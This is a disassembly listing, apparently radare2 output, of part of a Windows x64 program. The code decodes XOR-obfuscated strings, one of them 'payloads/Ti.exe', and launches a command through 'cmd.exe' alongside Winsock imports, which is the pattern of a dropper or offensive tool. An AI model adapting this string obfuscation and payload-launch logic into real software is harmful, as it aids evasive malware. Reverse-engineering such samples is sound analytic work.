je 0x140009303
nop word [rax + rax]
movsx eax, byte [rdx]
mov word [r9], ax
lea r9, [r9 + 2]
inc rdx
cmp rdx, r10
jne 0x1400092f0
mov dword [rbp - 0x7c], 0x6c
mov byte [rbp - 0x78], 0x1c
mov byte [rbp - 0x77], 0xd
mov byte [rbp - 0x76], 0x15
mov byte [rbp - 0x75], 0
mov byte [rbp - 0x74], 3
mov byte [rbp - 0x73], 0xd
mov byte [rbp - 0x72], 8
mov byte [rbp - 0x71], 0x1f
mov byte [rbp - 0x70], 0x43
mov byte [rbp - 0x6f], 0x38
mov byte [rbp - 0x6e], 5
mov byte [rbp - 0x6d], 0x42
mov byte [rbp - 0x6c], 9
mov byte [rbp - 0x6b], 0x14
mov byte [rbp - 0x6a], 9
xor eax, eax
mov byte [rbp - 0x69], al
movzx eax, byte [rbp - 0x78]
mov rdx, rbx
movzx eax, byte [rbp + rdx - 0x78]
mov ecx, dword [rbp - 0x7c]
xor cl, al
mov byte [rbp + rdx - 0x78], cl
inc rdx
cmp rdx, 0xf
jb 0x140009352
mov byte [rbp - 0x69], 0
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x308]
call fcn.1400036f0
mov rdi, rax
mov dword [rsp + 0x64], 0x67
mov ecx, dword [rsp + 0x64]
xor cl, 0x77
mov byte [rsp + 0x68], cl
mov ecx, dword [rsp + 0x64]
inc cl
xor cl, 0x61
mov byte [rsp + 0x69], cl
mov ecx, dword [rsp + 0x64]
add cl, 2
xor cl, 0x72
mov byte [rsp + 0x6a], cl
mov eax, dword [rsp + 0x64]
add al, 3
xor al, 0x64
mov byte [rsp + 0x6b], al
mov eax, dword [rsp + 0x64]
add al, 4
xor al, 0x65
mov byte [rsp + 0x6c], al
mov eax, dword [rsp + 0x64]
add al, 5
xor al, 0x6e
mov byte [rsp + 0x6d], al
xor eax, eax
mov byte [rsp + 0x6e], al
movzx eax, byte [rsp + 0x68]
mov rdx, rbx
movzx eax, byte [rsp + rdx + 0x68]
mov ecx, dword [rsp + 0x64]
add cl, dl
xor cl, al
mov byte [rsp + rdx + 0x68], cl
inc rdx
cmp rdx, 6
jb 0x1400093e0
mov byte [rsp + 0x6e], 0
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x328]
call fcn.1400036f0
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x288]
call fcn.14000ae50
nop
mov rdx, rax
lea rcx, [rbp + 0x268]
call fcn.14000cf90
nop
lea rdx, [rbp + 0xe8]
cmp qword [rbp + 0x100], 7
cmova rdx, qword [rbp + 0xe8]
cmp qword [rax + 0x18], 7
jbe 0x140009455
mov rax, qword [rax]
mov rcx, rax
call fcn.1400064c0
movzx edi, al
mov rdx, qword [rbp + 0x280]
cmp rdx, 7
jbe 0x1400094a9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x268]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094a4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400094a4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f40]
movdqu xmmword [rbp + 0x278], xmm0
mov word [rbp + 0x268], bx
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0xf
jbe 0x140009504
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400094ff
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400094ff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0x298], xmm0
mov byte [rbp + 0x288], 0
mov rdx, qword [rbp + 0x100]
cmp rdx, 7
jbe 0x140009564
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000955f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000955f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f40]
movdqu xmmword [rbp + 0xf8], xmm0
mov word [rbp + 0xe8], bx
test dil, dil
je 0x14000969d
lea r9, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 0xf
cmova r9, qword [rbp + 0xc8]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r8, str.cmd.exe
lea rdx, [0x140016ce0]
xor ecx, ecx
call qword [0x14001dea0]
mov byte [rbp - 0x45], 0x68
mov byte [rbp - 0x44], 0x38
mov byte [rbp - 0x43], 0x6a
mov byte [rbp - 0x42], 0x2d
mov byte [rbp - 0x41], 0x79
mov byte [rbp - 0x40], 0x7c
mov byte [rbp - 0x3f], 0x6e
mov byte [rbp - 0x3e], WSACleanup
mov byte [rbp - 0x3d], WSACleanup
mov byte [rbp - 0x3c], WSACleanup
mov byte [rbp - 0x3b], 0x2d
mov byte [rbp - 0x3a], 0x84
mov byte [rbp - 0x39], WSACleanup
mov byte [rbp - 0x38], reloc.WS2_32.dll_WSACleanup
mov byte [rbp - 0x37], 0x6e
mov byte [rbp - 0x36], 0x7a
mov byte [rbp - 0x35], WSACleanup
mov byte [rbp - 0x34], 0x6c
mov byte [rbp - 0x33], 0x80
mov byte [rbp - 0x32], WSACleanup
mov byte [rbp - 0x31], 0x7f
mov byte [rbp - 0x30], 0x83
mov byte [rbp - 0x2f], 0x76
mov byte [rbp - 0x2e], WSAStartup
mov byte [rbp - 0x2d], WSACleanup
mov byte [rbp - 0x2c], 0x3b
mov byte [rbp - 0x2b], WSACleanup
mov byte [rbp - 0x2a], 0x85
mov byte [rbp - 0x29], WSACleanup
mov byte [rbp - 0x28], 0x2d
mov byte [rbp - 0x27], reloc.WS2_32.dll_WSAStartup
mov byte [rbp - 0x26], 0x7f
mov byte [rbp - 0x25], 0x7c
mov byte [rbp - 0x24], 0x7a
mov byte [rbp - 0x23], 0x2d
mov byte [rbp - 0x22], 0x80
mov byte [rbp - 0x21], WSACleanup
mov byte [rbp - 0x20], 0x7f
mov byte [rbp - 0x1f], 0x83
mov byte [rbp - 0x1e], WSACleanup
mov byte [rbp - 0x1d], 0x7f
mov byte [rbp - 0x1c], 0
movzx eax, byte [rbp - 0x45]
nop word [rax + rax]
movzx eax, byte [rbp + rbx - 0x45]
sub al, 0xd
mov byte [rbp + rbx - 0x45], al
inc rbx
cmp rbx, 0x29
jb 0x140009670
lea rdx, [rbp - 0x45]
lea rcx, [rbp + 0x348]
call fcn.1400036f0
mov rcx, rax
call fcn.14000ca10
nop
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0xf
jbe 0x1400096e1
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400096dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400096dc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
movdqa xmm0, xmmword [0x140017f50]
movdqu xmmword [rbp + 0xd8], xmm0
mov byte [rbp + 0xc8], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0xf
jbe 0x14000973d
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009737
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009737
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
nop
mov rdx, qword [rbp + 0xc0]
cmp rdx, 0xf
jbe 0x14000978d
inc rdx
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000977c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000977c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140011438
jmp 0x14000978d
mov dword [0x14001daf8], 1
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.140003030
nop
call fcn.140002f90
int3